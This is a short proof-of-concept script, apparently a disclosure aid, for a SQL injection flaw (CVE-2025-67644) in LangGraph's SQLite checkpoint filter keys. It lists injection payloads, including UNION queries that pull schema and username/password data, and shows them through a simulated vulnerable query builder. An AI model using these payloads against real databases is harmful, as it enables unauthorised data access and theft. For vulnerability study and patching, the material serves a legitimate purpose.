CVE-2025-67644 LangGraph SQLite Checkpoint SQL注入漏洞

import sqlite3 from langgraph.checkpoint.serde.sqlite import SqliteSaver # PoC for CVE-2025-67644: SQL Injection in LangGraph SQLite Checkpoint # This demonstrates how malicious filter keys can manipulate SQL queries def exploit_sql_injection(): """ Demonstrates SQL injection vulnerability in LangGraph SQLite Checkpoint The vulnerability exists in _metadata_predicate() function """ # Normal usage (expected behavior) normal_filter = {"user_id": "123"} # Filter by value (not vulnerable) # Malicious filter keys that exploit the vulnerability # These keys are interpolated directly into SQL without validation # Example 1: Always-true condition to extract all data malicious_key_1 = "1=1" # Becomes: "1=1 = ?" # Example 2: Union-based injection attempt malicious_key_2 = "id UNION SELECT * FROM sqlite_master--" # Example 3: Boolean-based blind injection malicious_key_3 = "' OR (SELECT COUNT(*) FROM checkpoints) > 0 AND '1'='1" # Example 4: Extract sensitive data malicious_key_4 = "id) UNION SELECT username || ':' || password FROM users--" # Simulating how the vulnerable code constructs SQL: def vulnerable_metadata_predicate(filter_keys): """ Vulnerable implementation (simplified) """ predicates = [] for key in filter_keys: # Direct interpolation without validation - VULNERABLE! predicates.append(f"{key} = ?") return " AND ".join(predicates) if predicates else "1=1" # Demonstrating the vulnerability print("Vulnerable SQL construction:") print(f"Filter keys: {malicious_key_1}") print(f"SQL predicate: {vulnerable_metadata_predicate([malicious_key_1])}") print() print(f"Filter keys: {malicious_key_3}") print(f"SQL predicate: {vulnerable_metadata_predicate([malicious_key_3])}") def demonstrate_impact(): """ Shows the potential impact of successful exploitation """ print("Potential impacts of CVE-2025-67644:") print("1. Unauthorized data access - Read all checkpoint data") print("2. Data modification - Alter or delete checkpoints") print("3. Data exfiltration - Extract sensitive information from DB") print("4. Database corruption - Modify schema or destroy data") print("5. Potential RCE - If SQLite is configured with certain extensions") if __name__ == "__main__": exploit_sql_injection() demonstrate_impact()